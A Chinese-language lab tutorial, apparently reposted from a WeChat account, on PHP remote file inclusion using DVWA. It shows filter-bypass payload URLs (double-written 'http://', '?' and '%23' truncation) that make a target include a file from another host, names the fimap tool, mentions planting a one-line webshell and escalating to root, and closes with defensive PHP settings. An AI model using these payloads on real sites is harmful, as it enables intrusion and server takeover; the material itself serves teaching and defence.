文件包含漏洞(下)

释放双眼,带上耳机,听听看~!

0x00远程文件包含漏洞

1.远程文件包含的含义

远程文件包含漏洞针对的基本都是UNIX/LINUX系统(Windows 系统只占少数),学会如何进行本地溢出,如何安装rootkit,如何制作后门等。

打开phpstudy,其他选项参数——PHP扩展及设置——参数开关设置——打开include函数、fopen函数

include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

2.DVWA实现远程文件包含

(1)通过http协议包含远程服务器上的文件

http://192.168.43.121/phpinfo.php

(2)分析源码

可以看到使用str_replace函数对http://、https://、../ 、..\进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过。

(3)尝试绕过

使用双写绕过http://的过滤htthttp://p://192.168.43.121/1.txt

使用使用绝对路径绕过

3.检测远程文件包含

检测工具:r-includer (fimap)

使用格式:r-include2 检测网站远程包含的文件shell 文件 –r,

[cmd]$ 提示符后输入想要执行的命令就可以啦。

0x01绕过防御

(1)?绕过

http://127.0.0.1/2.php?sj=http://192.168.142.128:666/l.php?

(2)#绕过(%23)

http://127.0.0.1/2.php?sj=http://192.168.142.128:666/l.php%23

两者起的都是截断,后面的.HTML的效果,所以可以绕过。

0x02关于远程包含取得shell

加入一句话木马

如果我们取得的webshell并不是最高权限,如果还要继续渗透的话,要改网站服务器的ROOT(超级管理员)权限。

0x03防御文件包含

1.修改php的配置文件将open_basedir的值设置为可以包含特定目录,后面要加/,例如:open_basedir=/var/www/html/

2.关闭allow_url_fopen可以防止本地文件包含和远程文件包含

3.关闭allow_url_include可以防止远程文件包含

4.对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

5.进行严格的检查,参数中不允许出现../之类的目录跳转符。

本文源自微信公众号:弥天安全实验室

人已赞赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新消息 消息中心
有新私信 私信列表
搜索